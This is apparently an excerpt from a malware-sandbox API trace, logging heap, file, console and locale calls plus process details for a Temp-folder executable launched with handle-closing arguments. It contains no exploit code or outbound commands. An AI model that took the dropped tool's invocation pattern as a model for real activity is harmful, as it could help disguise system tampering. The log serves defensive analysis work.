(in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570de8 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5863c0 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570e00 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5855e8 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586360 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57f4e0 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586300 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5862a0 | out: hHeap=0x570000) returned 1 [0134.585] GetProcessHeap () returned 0x570000 [0134.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586228 | out: hHeap=0x570000) returned 1 [0134.586] GetProcessHeap () returned 0x570000 [0134.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5861d0 | out: hHeap=0x570000) returned 1 [0134.586] GetProcessHeap () returned 0x570000 [0134.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5712a0 | out: hHeap=0x570000) returned 1 [0134.586] GetProcessHeap () returned 0x570000 [0134.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586180 | out: hHeap=0x570000) returned 1 [0134.586] GetProcessHeap () returned 0x570000 [0134.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x570000) returned 1 [0134.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0134.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0134.586] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f020, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x28f020*=0x0, lpOverlapped=0x0) returned 1 [0134.586] GetLastError () returned 0x0 [0134.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0134.586] GetFileType (hFile=0x74) returned 0x1 [0134.586] _get_osfhandle (_FileHandle=3) returned 0x74 [0134.586] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0134.586] GetProcessHeap () returned 0x570000 [0134.586] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x594ab0 [0134.586] GetProcessHeap () returned 0x570000 [0134.586] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594ab0 | out: hHeap=0x570000) returned 1 [0134.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0134.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0134.587] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f004, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x28f004*=0x0, lpOverlapped=0x0) returned 1 [0134.587] GetLastError () returned 0x0 [0134.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0134.587] GetFileType (hFile=0x74) returned 0x1 [0134.587] _get_osfhandle (_FileHandle=3) returned 0x74 [0134.587] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0134.587] GetProcessHeap () returned 0x570000 [0134.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x594ab0 [0134.587] GetProcessHeap () returned 0x570000 [0134.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594ab0 | out: hHeap=0x570000) returned 1 [0134.587] longjmp () [0134.588] _tell (_FileHandle=3) returned 226 [0134.588] _close (_FileHandle=3) returned 0 [0134.588] CmdBatNotification () returned 0x1 [0134.588] _get_osfhandle (_FileHandle=1) returned 0x7 [0134.588] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0134.588] _get_osfhandle (_FileHandle=1) returned 0x7 [0134.589] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0134.589] _get_osfhandle (_FileHandle=0) returned 0x3 [0134.589] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0134.589] SetConsoleInputExeNameW () returned 0x1 [0134.589] GetConsoleOutputCP () returned 0x1b5 [0134.589] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0134.589] SetThreadUILanguage (LangId=0x0) returned 0x409 [0134.589] exit (_Code=1) Process: id = "227" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x757e1000" os_pid = "0xfe0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 828 os_tid = 0xfe4 Thread: id = 829 os_tid = 0xfe8 Thread: id = 833 os_tid = 0x4e4 Process: id = "228" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x762b2000" os_pid = "0xfec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "225" os_parent_pid = "0xfd0" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 831 os_tid = 0xff0 [0125.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xee7c4ce0, dwHighDateTime=0x1d5d06a)) [0125.912] GetCurrentThreadId () returned 0xff0 [0125.912] GetCurrentProcessId () returned 0xfec [0125.912] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=26786448399) returned 1 [0125.913] GetProcessHeap () returned 0x260000 [0125.914] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0125.915] GetProcAddress (hModule=0x76f20000, lpProcName=0x1400212e0) returned 0x76f37190 [0125.915] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0125.915] GetProcAddress (hModule=0x76f20000, lpProcName="FlsGetValue") returned 0x76f43520 [0125.915] GetProcAddress (hModule=0x76f20000, lpProcName="FlsSetValue") returned 0x76f3bd90 [0125.915] GetProcAddress (hModule=0x76f20000, lpProcName="InitializeCriticalSectionEx") returned 0x76f379b0 [0125.915] GetProcAddress (hModule=0x76f20000, lpProcName="CreateEventExW") returned 0x76f6c590 [0125.915] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSemaphoreExW") returned 0x76f6c4c0 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadStackGuarantee") returned 0x76f28050 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolTimer") returned 0x76f28820 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolTimer") returned 0x7715b2f0 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7714d8c0 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolTimer") returned 0x7714d620 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="CreateThreadpoolWait") returned 0x76f6ba80 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadpoolWait") returned 0x7715e170 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="CloseThreadpoolWait") returned 0x7714c540 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="FlushProcessWriteBuffers") returned 0x77191f80 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720ec60 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentProcessorNumber") returned 0x77190040 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="GetLogicalProcessorInformation") returned 0x76f6b820 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="CreateSymbolicLinkW") returned 0x76f95ad0 [0125.916] GetProcAddress (hModule=0x76f20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="EnumSystemLocalesEx") returned 0x76f6c3d0 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="CompareStringEx") returned 0x76f6b980 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="GetDateFormatEx") returned 0x76fb0920 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="GetLocaleInfoEx") returned 0x76f23c10 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="GetTimeFormatEx") returned 0x76fad4e0 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="GetUserDefaultLocaleName") returned 0x76f6b790 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="IsValidLocaleName") returned 0x76f6b770 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="GetCurrentPackageId") returned 0x0 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="GetTickCount64") returned 0x76f29450 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0125.917] GetProcAddress (hModule=0x76f20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0125.918] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x478) returned 0x27f050 [0125.918] GetCurrentThreadId () returned 0xff0 [0125.918] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x28) returned 0x275ed0 [0125.918] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xb00) returned 0x27f4d0 [0125.918] GetStartupInfoW (in: lpStartupInfo=0x12fe90 | out: lpStartupInfo=0x12fe90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x14000c2d0, hStdError=0x27f050)) [0125.918] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0125.918] GetFileType (hFile=0x3) returned 0x2 [0126.098] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.098] GetFileType (hFile=0x7) returned 0x2 [0126.098] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0126.098] GetFileType (hFile=0xb) returned 0x2 [0126.098] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0126.098] GetEnvironmentStringsW () returned 0x27ffe0* [0126.098] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xb32) returned 0x280b20 [0126.099] FreeEnvironmentStringsW (penv=0x27ffe0) returned 1 [0126.099] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x14002c980, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 0x33 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0xa8) returned 0x281660 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x138) returned 0x281710 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3e) returned 0x276510 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x6c) returned 0x281850 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x62) returned 0x2818d0 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x78) returned 0x281940 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x62) returned 0x2819c0 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x27de00 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x276560 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x275f00 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x28) returned 0x275f30 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1a) returned 0x275f60 [0126.099] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4a) returned 0x281a30 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x72) returned 0x281a90 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x27de40 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x27de80 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1c) returned 0x275f90 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xd2) returned 0x281b10 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x7c) returned 0x281bf0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3a) returned 0x2765b0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x90) returned 0x281c80 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x275fc0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x27dec0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x36) returned 0x27df00 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x276600 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x52) returned 0x281d20 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x276650 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x281d80 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x82) returned 0x281da0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2e) returned 0x27df40 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x275ff0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2c) returned 0x27df80 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x54) returned 0x281e30 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x52) returned 0x281e90 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x27dfc0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x2766a0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x54) returned 0x281ef0 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x276020 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x30) returned 0x27e000 [0126.100] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x8c) returned 0x27ffe0 [0126.100] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x260000) returned 1 [0126.101] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1000) returned 0x280080 [0126.101] GetLastError () returned 0x0 [0126.101] SetLastError (dwErrCode=0x0) [0126.101] GetLastError () returned 0x0 [0126.101] SetLastError (dwErrCode=0x0) [0126.101] GetLastError () returned 0x0 [0126.101] SetLastError (dwErrCode=0x0) [0126.101] GetACP () returned 0x4e4 [0126.101] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x228) returned 0x281090 [0126.101] GetLastError () returned 0x0 [0126.101] SetLastError (dwErrCode=0x0) [0126.101] IsValidCodePage (CodePage=0x4e4) returned 1 [0126.101] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fe00 | out: lpCPInfo=0x12fe00) returned 1 [0126.102] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f8a0 | out: lpCPInfo=0x12f8a0) returned 1 [0126.102] GetLastError () returned 0x0 [0126.102] SetLastError (dwErrCode=0x0) [0126.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f5a0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ聣틤ᑣ") returned 256 [0126.102] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ聣틤ᑣ", cchSrc=256, lpCharType=0x12fbc0 | out: lpCharType=0x12fbc0) returned 1 [0126.102] GetLastError () returned 0x0 [0126.102] SetLastError (dwErrCode=0x0) [0126.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.102] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0126.102] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0126.102] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0126.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0126.102] GetLastError () returned 0x0 [0126.103] SetLastError (dwErrCode=0x0) [0126.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0126.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0126.103] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0126.103] LCMapStringEx (in: lpLocaleName=0x0, 